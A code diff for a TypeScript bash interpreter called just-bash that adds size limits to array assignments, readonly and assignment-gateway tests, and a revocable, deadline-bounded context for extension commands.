+        "array-zero|scalar-zero|scalar-length\nreplacement|scalar-zero|scalar-length\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("preserves exact associative keys including former metadata prefixes", async () => {
+    const result = await new Bash().exec(`
+      declare -A a=(['_length']=exact ['_lengthfoo']=long ['x_y']=under)
+      printf '%s|%s|%s\n' "\${a[_length]}" "\${a[_lengthfoo]}" "\${a[x_y]}"
+      printf '<%s>\n' "\${!a[@]}"
+    `);
+
+    expect(result.stdout).toBe(
+      "exact|long|under\n<_length>\n<_lengthfoo>\n<x_y>\n",
+    );
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("uses identical associative subscript normalization for value and set tests", async () => {
+    const result = await new Bash().exec(`
+      declare -A a=([actual]=value)
+      key=actual
+      printf '%s|%s\n' "\${a[$key]:-fallback}" "\${a[$key]+set}"
+    `);
+
+    expect(result).toMatchObject({
+      stdout: "value|set\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it.each([
+    ["export", "readonly x=old; export x=new"],
+    ["export -n", "readonly x=old; export -n x=new"],
+    ["read", "readonly x=old; read x <<< new"],
+    ["read -a", "readonly -a x=(old); read -a x <<< new"],
+    ["mapfile", "readonly -a x=(old); mapfile x <<< new"],
+    ["declare literal", "readonly -a x=(old); declare x=(new)"],
+    ["unset element", "readonly -a x=(old); unset 'x[0]'"],
+    ["printf -v", "readonly -a x=(old); printf -v 'x[0]' %s new"],
+  ])("rejects readonly mutation through %s", async (_label, script) => {
+    const result = await new Bash().exec(script);
+
+    expect(result.exitCode).toBe(1);
+    expect(result.stderr).toMatch(/readonly variable|cannot unset/);
+  });
+
+  it("restores complete local arrays and removes newly-created elements", async () => {
+    const result = await new Bash().exec(`
+      a=(outer0 outer1)
+      f() { local a=(inner0 inner1 inner2); a[8]=inner8; }
+      f
+      printf '%s|%s|%s\n' "\${a[0]}" "\${a[1]}" "\${a[8]-missing}"
+    `);
+
+    expect(result).toMatchObject({
+      stdout: "outer0|outer1|missing\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+
+  it("hides stale positional parameters in nested function calls", async () => {
+    const result = await new Bash().exec(`
+      inner() { printf '%s|%s|%s\n' "$#" "\${2-unset}" "\${3-unset}"; }
+      outer() { inner only; }
+      outer one two three
+    `);
+
+    expect(result).toMatchObject({
+      stdout: "1|unset|unset\n",
+      stderr: "",
+      exitCode: 0,
+    });
+  });
+});
diff --git a/packages/just-bash/src/interpreter/assignment-expansion.ts b/packages/just-bash/src/interpreter/assignment-expansion.ts
index bdc01ad3..156a8659 100644
--- a/packages/just-bash/src/interpreter/assignment-expansion.ts
+++ b/packages/just-bash/src/interpreter/assignment-expansion.ts
@@ -7,6 +7,10 @@
  */
 
 import type { WordNode } from "../ast/types.js";
+import { utf8ByteLength } from "../commands/printf/escapes.js";
+import { Parser } from "../parser/parser.js";
+import { ExecutionLimitError } from "./errors.js";
+import { applyAssignmentTildeExpansion } from "./expansion/tilde.js";
 import { expandWord, expandWordWithGlob } from "./expansion.js";
 import { wordToLiteralString } from "./helpers/array.js";
 import type { InterpreterContext } from "./types.js";
@@ -21,9 +25,20 @@ export async function expandLocalArrayAssignment(
   word: WordNode,
 ): Promise<string | null> {
   // First, join all parts to check if this looks like an array assignment
-  const fullLiteral = word.parts
-    .map((p) => (p.type === "Literal" ? p.value : "\x00"))
-    .join("");
+  let fullLiteral = "";
+  let fullLiteralBytes = 0;
+  for (const part of word.parts) {
+    const value = part.type === "Literal" ? part.value : "\x00";
+    const bytes = utf8ByteLength(value);
+    if (bytes > ctx.limits.maxStringLength - fullLiteralBytes) {
+      throw new ExecutionLimitError(
+        `array assignment string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    fullLiteral += value;
+    fullLiteralBytes += bytes;
+  }
   const arrayMatch = fullLiteral.match(/^([a-zA-Z_][a-zA-Z0-9_]*)=\(/);
   if (!arrayMatch || !fullLiteral.endsWith(")")) {
     return null;
@@ -31,11 +46,54 @@ export async function expandLocalArrayAssignment(
 
   const name = arrayMatch[1];
   const elements: string[] = [];
+  const literalElements: boolean[] = [];
   let inArrayContent = false;
   let pendingLiteral = "";
+  let pendingBytes = 0;
+  let elementBytes = 0;
   // Track whether we've seen a quoted part (SingleQuoted, DoubleQuoted) since
   // last element push. This ensures empty quoted strings like '' are preserved.
   let hasQuotedContent = false;
+  let isLiteralElement = true;
+
+  const appendPending = (value: string): void => {
+    const bytes = utf8ByteLength(value);
+    if (bytes > ctx.limits.maxStringLength - elementBytes - pendingBytes) {
+      throw new ExecutionLimitError(
+        `array assignment string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    pendingLiteral += value;
+    pendingBytes += bytes;
+  };
+
+  const pushElement = (value: string, literal = false): void => {
+    if (elements.length >= ctx.limits.maxArrayElements) {
+      throw new ExecutionLimitError(
+        `array assignment element limit exceeded (${ctx.limits.maxArrayElements})`,
+        "array_elements",
+      );
+    }
+    const bytes = utf8ByteLength(value);
+    if (bytes > ctx.limits.maxStringLength - elementBytes) {
+      throw new ExecutionLimitError(
+        `array assignment string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    elements.push(value);
+    literalElements.push(literal);
+    elementBytes += bytes;
+  };
+
+  const flushPending = (): void => {
+    pushElement(pendingLiteral, isLiteralElement);
+    pendingLiteral = "";
+    pendingBytes = 0;
+    hasQuotedContent = false;
+    isLiteralElement = true;
+  };
 
   for (const part of word.parts) {
     if (part.type === "Literal") {
@@ -57,18 +115,15 @@ export async function expandLocalArrayAssignment(
 
         // Process literal content: split by whitespace
         // But handle the case where this literal is adjacent to a quoted part
-        const tokens = value.split(/(\s+)/);
-        for (const token of tokens) {
-          if (/^\s+$/.test(token)) {
+        for (const char of value) {
+          if (/\s/.test(char)) {
             // Whitespace - push pending element if we have content OR saw quoted part
             if (pendingLiteral || hasQuotedContent) {
-              elements.push(pendingLiteral);
-              pendingLiteral = "";
-              hasQuotedContent = false;
+              flushPending();
             }
-          } else if (token) {
+          } else {
             // Non-empty token - accumulate
-            pendingLiteral += token;
+            appendPending(char);
           }
         }
       }
@@ -81,17 +136,17 @@ export async function expandLocalArrayAssignment(
         const isKeyedElement = /^\[.+\]=/.test(pendingLiteral);
         if (isKeyedElement) {
           // Inside a keyed element value - convert brace to literal, no expansion
-          pendingLiteral += wordToLiteralString({
-            type: "Word",
-            parts: [part],
-          });
+          appendPending(
+            wordToLiteralString({
+              type: "Word",
+              parts: [part],
+            }),
+          );
         } else {
           // Plain element - expand braces normally
           // Push any pending literal first
           if (pendingLiteral || hasQuotedContent) {
-            elements.push(pendingLiteral);
-            pendingLiteral = "";
-            hasQuotedContent = false;
+            flushPending();
           }
           // Use expandWordWithGlob to properly expand brace expressions
           const braceExpanded = await expandWordWithGlob(ctx, {
@@ -99,7 +154,7 @@ export async function expandLocalArrayAssignment(
             parts: [part],
           });
           // Add each expanded value as a separate element
-          elements.push(...braceExpanded.values);
+          for (const value of braceExpanded.values) pushElement(value);
         }
       } else {
         // Quoted/expansion part - expand it and accumulate as single element
@@ -111,44 +166,91 @@ export async function expandLocalArrayAssignment(
         ) {
           hasQuotedContent = true;
         }
+        isLiteralElement = false;
         const expanded = await expandWord(ctx, {
           type: "Word",
           parts: [part],
         });
-        pendingLiteral += expanded;
+        appendPending(expanded);
       }
     }
   }
 
   // Push final element if we have content OR saw quoted part
   if (pendingLiteral || hasQuotedContent) {
-    elements.push(pendingLiteral);
+    flushPending();
+  }
+
+  // Array literals are tokenized manually above because the outer parser keeps
+  // `name=(...)` together in several declaration contexts. Complete the two
+  // assignment-context expansions that therefore have not yet run: brace
+  // expansion for literal elements, and tilde expansion after keyed `=` and
+  // `:` separators. Never re-expand values produced by substitutions.
+  const originalElements = elements.splice(0);
+  const originalLiteralElements = literalElements.splice(0);
+  elementBytes = 0;
+  for (let index = 0; index < originalElements.length; index++) {
+    let element = originalElements[index];
+    if (!originalLiteralElements[index]) {
+      pushElement(element);
+      continue;
+    }
+
+    const keyedMatch = element.match(/^(\[[^\]]+\]=)(.*)$/s);
+    if (keyedMatch) {
+      const expandedValue = applyAssignmentTildeExpansion(ctx, keyedMatch[2]);
+      element = keyedMatch[1] + expandedValue;
+    }
+
+    if (element.includes("{") && element.includes("}")) {
+      const parsed = new Parser().parseWordFromString(element, false, false);
+      if (parsed.parts.some((part) => part.type === "BraceExpansion")) {
+        const expanded = await expandWordWithGlob(ctx, parsed);
+        for (const value of expanded.values) pushElement(value);
+        continue;
+      }
+    }
+    pushElement(element);
   }
 
   // Build result string with proper quoting
-  const quotedElements = elements.map((elem) => {
+  const resultChunks = [`${name}=(`];
+  let resultBytes = utf8ByteLength(resultChunks[0]);
+  for (let index = 0; index < elements.length; index++) {
+    const elem = elements[index];
     // Don't quote keyed elements like ['key']=value or [index]=value
     // These need to be parsed by the declare builtin as-is
+    let quoted: string;
     if (/^\[.+\]=/.test(elem)) {
-      return elem;
-    }
-    // Empty strings must be quoted to be preserved
-    if (elem === "") {
-      return "''";
-    }
-    // If element contains whitespace or special chars, quote it
-    if (
+      quoted = elem;
+    } else if (elem === "") {
+      // Empty strings must be quoted to be preserved
+      quoted = "''";
+    } else if (
       /[\s"'\\$`!*?[\]{}|&;<>()]/.test(elem) &&
       !elem.startsWith("'") &&
       !elem.startsWith('"')
     ) {
       // Use single quotes, escaping existing single quotes
-      return `'${elem.replace(/'/g, "'\\''")}'`;
+      quoted = `'${elem.replace(/'/g, "'\\''")}'`;
+    } else {
+      quoted = elem;
     }
-    return elem;
-  });
 
-  return `${name}=(${quotedElements.join(" ")})`;
+    const fragment = `${index > 0 ? " " : ""}${quoted}`;
+    const bytes = utf8ByteLength(fragment);
+    if (bytes + 1 > ctx.limits.maxStringLength - resultBytes) {
+      throw new ExecutionLimitError(
+        `array assignment string limit exceeded (${ctx.limits.maxStringLength} bytes)`,
+        "string_length",
+      );
+    }
+    resultChunks.push(fragment);
+    resultBytes += bytes;
+  }
+  resultChunks.push(")");
+
+  return resultChunks.join("");
 }
 
 /**
diff --git a/packages/just-bash/src/interpreter/assignment-gateway.security.test.ts b/packages/just-bash/src/interpreter/assignment-gateway.security.test.ts
new file mode 100644
index 00000000..ad6e5185
--- /dev/null
+++ b/packages/just-bash/src/interpreter/assignment-gateway.security.test.ts
@@ -0,0 +1,83 @@
+import { describe, expect, it } from "vitest";
+import { Bash } from "../Bash.js";
+import { printfCommand } from "../commands/printf/printf.js";
+import { defineCommand } from "../custom-commands.js";
+import { EMPTY_BYTES } from "../encoding.js";
+import { resolveLimits } from "../limits.js";
+
+describe("interpreter assignment gateway", () => {
+  it("rejects special and positional names at the gateway itself", async () => {
+    const assign = defineCommand(
+      "assign-through-gateway",
+      async (args, ctx) => {
+        await ctx.assignShellVariable?.(args[0], "poison");
+        return { stdout: "", stderr: "", exitCode: 0 };
+      },
+    );
+    const bash = new Bash({ customCommands: [assign] });
+
+    const positional = await bash.exec(
+      "assign-through-gateway 1; printf '<%s>' \"$1\"",
+    );
+    const special = await bash.exec(
+      "assign-through-gateway '#'; printf '<%s>' \"$#\"",
+    );
+
+    expect(positional.stdout).toBe("<>");
+    expect(positional.stderr).toBe(
+      "assign-through-gateway: 1: not a valid identifier\n",
+    );
+    expect(positional.exitCode).toBe(0);
+    expect(special.stdout).toBe("<0>");
+    expect(special.stderr).toBe(
+      "assign-through-gateway: #: not a valid identifier\n",
+    );
+    expect(special.exitCode).toBe(0);
+  });
+
+  it("uses checked shell arithmetic for indexed printf subscripts", async () => {
+    const bash = new Bash();
+    const result = await bash.exec(
+      "i=2; printf -v 'items[i+1]' value; printf '<%s>' \"${items[3]}\"",
+    );
+
+    expect(result.stdout).toBe("<value>");
+    expect(result.stderr).toBe("");
+    expect(result.exitCode).toBe(0);
+  });
+
+  it("follows namerefs and enforces readonly on the resolved target", async () => {
+    const bash = new Bash();
+    const assigned = await bash.exec(
+      'target=old; declare -n ref=target; printf -v ref new; echo "$target"',
+    );
+    const readonly = await bash.exec(
+      'target=old; readonly target; declare -n ref=target; printf -v ref new; echo "$target"',
+    );
+
+    expect(assigned.stdout).toBe("new\n");
+    expect(assigned.stderr).toBe("");
+    expect(assigned.exitCode).toBe(0);
+    expect(readonly.stdout).toBe("old\n");
+    expect(readonly.stderr).toBe("printf: target: readonly variable\n");
+    expect(readonly.exitCode).toBe(0);
+  });
+
+  it("fails clearly for array assignment in a bare embedder context", async () => {
+    const env = new Map<string, string>();
+    const result = await printfCommand.execute(["-v", "items[0]", "value"], {
+      fs: {} as never,
+      cwd: "/",
+      env,
+      stdin: EMPTY_BYTES,
+      limits: resolveLimits(),
+    });
+
+    expect(result.stdout).toBe("");
+    expect(result.stderr).toBe(
+      "printf: printf -v array assignment requires an interpreter assignment gateway\n",
+    );
+    expect(result.exitCode).toBe(1);
+    expect(Array.from(env.entries())).toEqual([]);
+  });
+});
diff --git a/packages/just-bash/src/interpreter/builtin-dispatch.ts b/packages/just-bash/src/interpreter/builtin-dispatch.ts
index 67e9e4ee..1e428b28 100644
--- a/packages/just-bash/src/interpreter/builtin-dispatch.ts
+++ b/packages/just-bash/src/interpreter/builtin-dispatch.ts
@@ -6,14 +6,21 @@
  */
 
 import { isBrowserExcludedCommand } from "../commands/browser-excluded.js";
-import { unsafeBytesFromLatin1 } from "../encoding.js";
+import { latin1FromBytes, unsafeBytesFromLatin1 } from "../encoding.js";
+import {
+  createCommandExecutionBudget,
+  type ExecutionScope,
+} from "../execution-scope.js";
+import { getFileSystemIdentity, isFileSystemIdentity } from "../fs/identity.js";
 import { sanitizeErrorMessage } from "../fs/sanitize-error.js";
 import { awaitWithDefenseContext } from "../security/defense-context.js";
 import {
   DefenseInDepthBox,
   SecurityViolationError,
 } from "../security/defense-in-depth-box.js";
-import type { CommandContext, ExecResult } from "../types.js";
+import { _Proxy } from "../security/trusted-globals.js";
+import { _clearFiniteTimeout, _setTimeoutIfFinite } from "../timers.js";
+import type { ExecResult, RuntimeCommandContext } from "../types.js";
 import {
   handleBreak,
   handleCd,
@@ -49,11 +56,19 @@ import {
 } from "./command-resolution.js";
 import { evaluateTestArgs } from "./conditionals.js";
 import { createDefenseAwareCommandContext } from "./defense-aware-command-context.js";
-import { ExecutionLimitError } from "./errors.js";
+import {
+  ExecutionAbortedError,
+  ExecutionLimitError,
+  ExitError,
+} from "./errors.js";
 import { callFunction } from "./functions.js";
+import { setArrayElement } from "./helpers/array.js";
 import { getErrorMessage } from "./helpers/errors.js";
+import { resolveNamerefForAssignment } from "./helpers/nameref.js";
+import { isReadonly } from "./helpers/readonly.js";
 import { failure, OK, testResult } from "./helpers/result.js";
 import { SHELL_BUILTINS } from "./helpers/shell-constants.js";
+import { computeIndexedArrayIndex } from "./simple-command-assignments.js";
 import {
   findFirstInPath as findFirstInPathHelper,
   handleCommandV as handleCommandVHelper,
@@ -74,6 +89,297 @@ export type RunCommandFn = (
   stdinSourceFd?: number,
 ) => Promise<ExecResult>;
 
+interface RevocableCommandContext {
+  context: RuntimeCommandContext;
+  revoke(): void;
+}
+
+/**
+ * Give host extensions capabilities that become unusable once their invocation
+ * has ended. JavaScript promises cannot be forcibly terminated, but a late
+ * continuation must not retain a working filesystem, environment, or shell
+ * callback after its result has been abandoned.
+ */
+function createRevocableCommandContext(
+  context: RuntimeCommandContext,
+  commandName: string,
+): RevocableCommandContext {
+  let active = true;
+  const facadeAbort = context.signal ? new AbortController() : undefined;
+  const wrappedValues = new WeakMap<object, object>();
+  const assertActive = () => {
+    if (!active) {
+      throw new ExecutionAbortedError(
+        "",
+        `bash: ${commandName} used its context after cancellation\n`,
+      );
+    }
+  };
+
+  /**
+   * Apply one revocation membrane to every capability that crosses from the
+   * interpreter into an extension. In particular, wrapping only the methods
+   * on RuntimeCommandContext is insufficient: methods such as registerCleanup() and
+   * enterDepth() return new callable capabilities which would otherwise remain
+   * usable after the invocation has been cancelled.
+   */
+  const wrapValue = (value: unknown): unknown => {
+    if (
+      value === null ||
+      (typeof value !== "object" && typeof value !== "function")
+    ) {
+      return value;
+    }
+
+    const cached = wrappedValues.get(value);
+    if (cached !== undefined) return cached;
+
+    // Filesystem identities are frozen, inert WeakMap keys. Preserve the
+    // stable token across invocations; copying it would split SQLite and other
+    // per-filesystem coordination domains.
+    if (typeof value === "object" && isFileSystemIdentity(value)) return value;
+
+    // Binary buffers are inert command data, not ambient capabilities.
+    // Proxying an ArrayBuffer view is observably invalid: typed-array accessors
+    // require a real typed-array receiver, and structured clone rejects the
+    // proxy. Return an invocation-owned copy so commands can inspect/pass file
+    // bytes normally without retaining the filesystem's backing allocation.
+    if (value instanceof Uint8Array) {
+      const copy = new Uint8Array(value);
+      wrappedValues.set(value, copy);
+      return copy;
+    }
+    if (value instanceof ArrayBuffer) {
+      const copy = value.slice(0);
+      wrappedValues.set(value, copy);
+      return copy;
+    }
+
+    if (value instanceof Promise) {
+      const wrappedPromise = value.then((result) => {
+        assertActive();
+        return wrapValue(result);
+      });
+      wrappedValues.set(value, wrappedPromise);
+      return wrappedPromise;
+    }
+
+    if (typeof value === "function") {
+      const callable = function (this: unknown, ...args: unknown[]) {
+        assertActive();
+        return wrapValue(Reflect.apply(value, this, args));
+      };
+      wrappedValues.set(value, callable);
+      return callable;
+    }
+
+    const prototype = Object.getPrototypeOf(value);
+    if (
+      Array.isArray(value) ||
+      prototype === Object.prototype ||
+      prototype === null
+    ) {
+      // Records and arrays are data, not ambient authority. Copy them so an
+      // ordinary command result remains readable after this invocation is
+      // revoked, while recursively membrane-wrapping any callable capability
+      // stored inside (for example ResourceLease.release).
+      const copy: object = Array.isArray(value) ? [] : Object.create(prototype);
+      wrappedValues.set(value, copy);
+      const descriptors = Object.getOwnPropertyDescriptors(value);
+      for (const descriptor of Object.values(descriptors)) {
+        if ("value" in descriptor) {
+          const member = descriptor.value;
+          descriptor.value =
+            typeof member === "function"
+              ? (...args: unknown[]) => {
+                  assertActive();
+                  return wrapValue(Reflect.apply(member, value, args));
+                }
+              : wrapValue(member);
+        }
+        if (descriptor.get) {
+          const getter = descriptor.get;
+          descriptor.get = () => {
+            assertActive();
+            return wrapValue(Reflect.apply(getter, value, []));
+          };
+        }
+        if (descriptor.set) {
+          const setter = descriptor.set;
+          descriptor.set = (nextValue: unknown) => {
+            assertActive();
+            Reflect.apply(setter, value, [nextValue]);
+          };
+        }
+      }
+      Object.defineProperties(copy, descriptors);
+      return copy;
+    }
+
+    const methods = new Map<PropertyKey, unknown>();
+    const proxy = new _Proxy(value, {
+      get(object, property) {
+        assertActive();
+        if (
+          property === "constructor" ||
+          property === "prototype" ||
+          property === "__proto__"
+        ) {
+          throw new Error(`${commandName}: unsafe context property access`);
+        }
+        // @banned-pattern-ignore: prototype gadget keys are rejected above;
+        // symbols and remaining names are ordinary properties of a fixed host capability.
+        const result = Reflect.get(object, property, object);
+        if (typeof result !== "function") return wrapValue(result);
+        if (methods.has(property)) return methods.get(property);
+        const wrapped = (...args: unknown[]) => {
+          assertActive();
+          return wrapValue(Reflect.apply(result, object, args));
+        };
+        methods.set(property, wrapped);
+        return wrapped;
+      },
+      set(object, property, nextValue) {
+        assertActive();
+        if (
+          property === "constructor" ||
+          property === "prototype" ||
+          property === "__proto__"
+        ) {
+          throw new Error(`${commandName}: unsafe context property access`);
+        }
+        // @banned-pattern-ignore: prototype gadget keys are rejected above on this fixed host capability
+        return Reflect.set(object, property, nextValue, object);
+      },
+    });
+    wrappedValues.set(value, proxy);
+    return proxy;
+  };
+
+  const wrapCapability = <T extends object>(target: T): T => {
+    return wrapValue(target) as T;
+  };
+
+  const wrapFunction = <T extends ((...args: never[]) => unknown) | undefined>(
+    fn: T,
+  ): T => {
+    if (!fn) return fn;
+    return ((...args: never[]) => {
+      assertActive();
+      return wrapValue(fn(...args));
+    }) as T;
+  };
+
+  return {
+    context: {
+      ...context,
+      fs: wrapCapability(context.fs),
+      env: wrapCapability(context.env),
+      limits: Object.freeze({ ...context.limits }),
+      exportedEnv: context.exportedEnv
+        ? Object.freeze({ ...context.exportedEnv })
+        : undefined,
+      executionScope: context.executionScope
+        ? wrapCapability(context.executionScope)
+        : undefined,
+      fileDescriptors: context.fileDescriptors
+        ? wrapCapability(context.fileDescriptors)
+        : undefined,
+      coverage: context.coverage ? wrapCapability(context.coverage) : undefined,
+      assignShellVariable: wrapFunction(context.assignShellVariable),
+      exec: wrapFunction(context.exec),
+      execWithInheritedStdin: wrapFunction(context.execWithInheritedStdin),
+      fetch: wrapFunction(context.fetch),
+      getRegisteredCommands: wrapFunction(context.getRegisteredCommands),
+      sleep: wrapFunction(context.sleep),
+      trace: wrapFunction(context.trace),
+      invokeTool: wrapFunction(context.invokeTool),
+      signal: facadeAbort?.signal,
+    },
+    revoke() {
+      active = false;
+      if (!facadeAbort?.signal.aborted) {
+        facadeAbort?.abort(
+          new ExecutionAbortedError(
+            "",
+            `bash: ${commandName} context revoked\n`,
+          ),
+        );
+      }
+    },
+  };
+}
+
+async function runWithExecutionDeadline(
+  run: () => Promise<ExecResult>,
+  context: RuntimeCommandContext,
+  revoke: () => void,
+  commandName: string,
+  rawScope: ExecutionScope,
+  rawSignal: AbortSignal | undefined,
+): Promise<ExecResult> {
+  const remainingMs =
+    rawScope.remainingTimeMs() ?? context.limits.maxExecutionTimeMs;
+  const graceMs = context.limits.maxExtensionCleanupTimeMs;
+  let deadlineTimer: ReturnType<typeof _setTimeoutIfFinite>;
+  let abortListener: (() => void) | undefined;
+  let graceTimer: ReturnType<typeof _setTimeoutIfFinite>;
+
+  const commandPromise = Promise.resolve().then(run);
+  const settled = commandPromise.then(
+    (result) => ({ kind: "result" as const, result }),
+    (error: unknown) => ({ kind: "error" as const, error }),
+  );
+  const aborted = new Promise<{ kind: "abort" } | { kind: "deadline" }>(
+    (resolve) => {
+      const finishAbort = () => {
+        revoke();
+        resolve({ kind: "abort" });
+      };
+      abortListener = finishAbort;
+      rawSignal?.addEventListener("abort", finishAbort, { once: true });
+      if (rawSignal?.aborted) finishAbort();
+      deadlineTimer = _setTimeoutIfFinite(() => {
+        revoke();
+        resolve({ kind: "deadline" });
+      }, remainingMs);
+    },
+  );
+
+  try {
+    const outcome = await Promise.race([settled, aborted]);
+    if (outcome.kind === "result") return outcome.result;
+    if (outcome.kind === "error") throw outcome.error;
+
+    // Revoke shell-visible capabilities as soon as cancellation wins. The
+    // grace period is only for the extension promise to settle; it must not
+    // be an extra window for filesystem, descriptor, or budget mutation.
+    revoke();
+    const acknowledged = await Promise.race([
+      settled.then(() => true),
+      new Promise<false>((resolve) => {
+        graceTimer = _setTimeoutIfFinite(() => resolve(false), graceMs);
+      }),
+    ]);
+    const error =
+      outcome.kind === "deadline"
+        ? new ExecutionAbortedError(
+            "",
+            `bash: ${commandName} exceeded its execution deadline\n`,
+          )
+        : new ExecutionAbortedError("", "bash: execution aborted\n");
+    if (!acknowledged) rawScope.poisonAfterAbort(error);
+    throw error;
+  } finally {
+    revoke();
+    _clearFiniteTimeout(deadlineTimer);
+    _clearFiniteTimeout(graceTimer);
+    if (abortListener) {
+      rawSignal?.removeEventListener("abort", abortListener);
+    }
+  }
+}
+
 /**
  * Type for the function that builds exported environment
  */
@@ -196,6 +502,33 @@ export async function dispatchBuiltin(
       return callFunction(ctx, func, args, stdin);
     }
   }
+  // Internal transform primitive, reached through `builtin` so a user-defined
+  // function with this name remains ordinary shell state. Arguments have
+  // already expanded from one PIPESTATUS snapshot before dispatch.
+  if (commandName === "__just_bash_tee_restore") {
+    if (args.length === 0 || args.length > ctx.limits.maxArrayElements)
+      return failure("bash: invalid internal pipeline status restore\n", 2);
+    const statuses: number[] = [];
+    for (const arg of args) {
+      if (!/^(?:0|[1-9][0-9]{0,2})$/.test(arg))
+        return failure("bash: invalid internal pipeline status restore\n", 2);
+      const status = Number(arg);
+      if (!Number.isSafeInteger(status) || status > 255)
+        return failure("bash: invalid internal pipeline status restore\n", 2);
+      statuses.push(status);
+    }
+    const last = statuses[statuses.length - 1] ?? 0;
+    const rightmostFailure = [...statuses].reverse().find((code) => code !== 0);
+    return {
+      stdout: "",
+      stderr: "",
+      exitCode:
+        ctx.state.options.pipefail && rightmostFailure !== undefined
+          ? rightmostFailure
+          : last,
+      internalPipeStatusOverride: statuses,
+    };
+  }
   // Simple builtins (can be overridden by functions)
   // eval: In non-POSIX mode, functions can override eval (handled above for POSIX mode)
   if (commandName === "eval") {
@@ -343,7 +676,7 @@ async function handleBuiltinBuiltin(
   }
   const cmd = cmdArgs[0];
   // Check if the command is a shell builtin
-  if (!SHELL_BUILTINS.has(cmd)) {
+  if (cmd !== "__just_bash_tee_restore" && !SHELL_BUILTINS.has(cmd)) {
     // Not a builtin - return error
     return failure(`bash: builtin: ${cmd}: not a shell builtin\n`);
   }
@@ -428,14 +761,79 @@ export async function executeExternalCommand(
   // Most builtins need access to the full env to modify state
   const exportedEnv = buildExportedEnv();
 
-  const cmdCtx: CommandContext = {
+  // Give extensions one stable, revocable descriptor capability even when
+  // this invocation has not created any extra descriptors yet.
+  ctx.state.fileDescriptors ??= new Map();
+  const cmdCtx: RuntimeCommandContext = {
     fs: ctx.fs,
+    fsIdentity: getFileSystemIdentity(ctx.fs),
     cwd: ctx.state.cwd,
     env: ctx.state.env,
+    assignShellVariable: async (name, value, subscript) => {
+      if (!/^[a-zA-Z_][a-zA-Z0-9_]*$/.test(name)) {
+        throw new Error(`${name}: not a valid identifier`);
+      }
+      const requestedTarget =
+        subscript === undefined ? name : `${name}[${subscript}]`;
+      const resolvedTarget = resolveNamerefForAssignment(ctx, name, value);
+      if (resolvedTarget === undefined) {
+        throw new Error(`${name}: circular name reference`);
+      }
+      if (resolvedTarget === null) return;
+
+      const resolvedMatch = resolvedTarget.match(
+        /^([a-zA-Z_][a-zA-Z0-9_]*)(?:\[(.*)\])?$/,
+      );
+      if (!resolvedMatch) {
+        throw new Error(`${requestedTarget}: not a valid identifier`);
+      }
+      const targetName = resolvedMatch[1];
+      const targetSubscript = resolvedMatch[2] ?? subscript;
+      if (isReadonly(ctx, name) || isReadonly(ctx, targetName)) {
+        throw new Error(`${targetName}: readonly variable`);
+      }
+      if (targetSubscript === undefined) {
+        ctx.state.env.set(targetName, value);
+      } else {
+        const kind = ctx.state.associativeArrays?.has(targetName)
+          ? "associative"
+          : "indexed";
+        if (kind === "associative") {
+          setArrayElement(ctx, targetName, targetSubscript, value, kind);
+          return;
+        }
+        const computed = await computeIndexedArrayIndex(
+          ctx,
+          targetName,
+          targetSubscript,
+        );
+        if (computed.error) {
+          throw new ExitError(
+            computed.error.exitCode,
+            computed.error.stdout,
+            computed.error.stderr,
+          );
+        }
+        setArrayElement(ctx, targetName, computed.index, value, kind);
+      }
+    },
     exportedEnv,
     stdin: effectiveStdin,
     limits: ctx.limits,
-    exec: ctx.execFn,
+    executionScope: cmd.internalIsExtension
+      ? createCommandExecutionBudget(ctx.executionScope)
+      : ctx.executionScope,
+    exec: (script, options) => ctx.execFn(script, options, false),
+    execWithInheritedStdin: (script, options) =>
+      ctx.execFn(
+        script,
+        {
+          ...options,
+          stdin: latin1FromBytes(effectiveStdin),
+          stdinKind: "bytes",
+        },
+        true,
+      ),
     fetch: ctx.fetch,
     getRegisteredCommands: () => Array.from(ctx.commands.keys()),
     sleep: ctx.sleep,
@@ -448,7 +846,11 @@ export async function executeExternalCommand(
     jsBootstrapCode: ctx.jsBootstrapCode,
     invokeTool: ctx.invokeTool,
   };
-  const guardedCmdCtx = createDefenseAwareCommandContext(cmdCtx, commandName);
+  const revocable = createRevocableCommandContext(cmdCtx, commandName);
+  const guardedCmdCtx = createDefenseAwareCommandContext(
+    revocable.context,
+    commandName,
+  );
 
   try {
     const runCommand = (): Promise<ExecResult> =>
@@ -459,16 +861,29 @@ export async function executeExternalCommand(
         () => cmd.execute(args, guardedCmdCtx),
       );
 
+    const runBoundedCommand = () =>
+      runWithExecutionDeadline(
+        runCommand,
+        guardedCmdCtx,
+        revocable.revoke,
+        commandName,
+        ctx.executionScope,
+        ctx.state.signal,
+      );
+
     if (cmd.trusted) {
       // Trusted host-extension commands may opt in to unrestricted globals.
-      return await DefenseInDepthBox.runTrustedAsync(() => runCommand());
+      return await DefenseInDepthBox.runTrustedAsync(runBoundedCommand);
     }
-    return await runCommand();
+    return await runBoundedCommand();
   } catch (error) {
     // ExecutionLimitError must propagate - these are safety limits
     if (error instanceof ExecutionLimitError) {
       throw error;
     }
+    if (error instanceof ExecutionAbortedError) {
+      throw error;
+    }
     // Security violations must propagate to top-level error handling
     if (error instanceof SecurityViolationError) {
       throw error;
diff --git a/packages/just-bash/src/interpreter/builtins/compgen.ts b/packages/just-bash/src/interpreter/builtins/compgen.ts
index 31d31abe..48959781 100644
--- a/packages/just-bash/src/interpreter/builtins/compgen.ts
+++ b/packages/just-bash/src/interpreter/builtins/compgen.ts
@@ -22,11 +22,21 @@
  *   compgen -o option             - Completion option (plusdirs, dirnames, default, etc.)
  */
 
+import { BoundedStringBuilder } from "../../bounded-builder.js";
+import { utf8ByteLength } from "../../encoding.js";
 import { type ParseException, Parser, parse } from "../../parser/parser.js";
 import type { ExecResult } from "../../types.js";
 import { matchPattern } from "../conditionals.js";
+import { ExecutionLimitError } from "../errors.js";
 import { expandWord, getArrayElements } from "../expansion.js";
 import { callFunction } from "../functions.js";
+import {
+  clearArray,
+  cloneArray,
+  ensureArray,
+  getArray,
+  hasArray,
+} from "../helpers/array.js";
 import { failure, result, success } from "../helpers/result.js";
 import type { InterpreterContext } from "../types.js";
 
@@ -335,17 +345,47 @@ export async function handleCompgen(
 
   // Collect completions
   const completions: string[] = [];
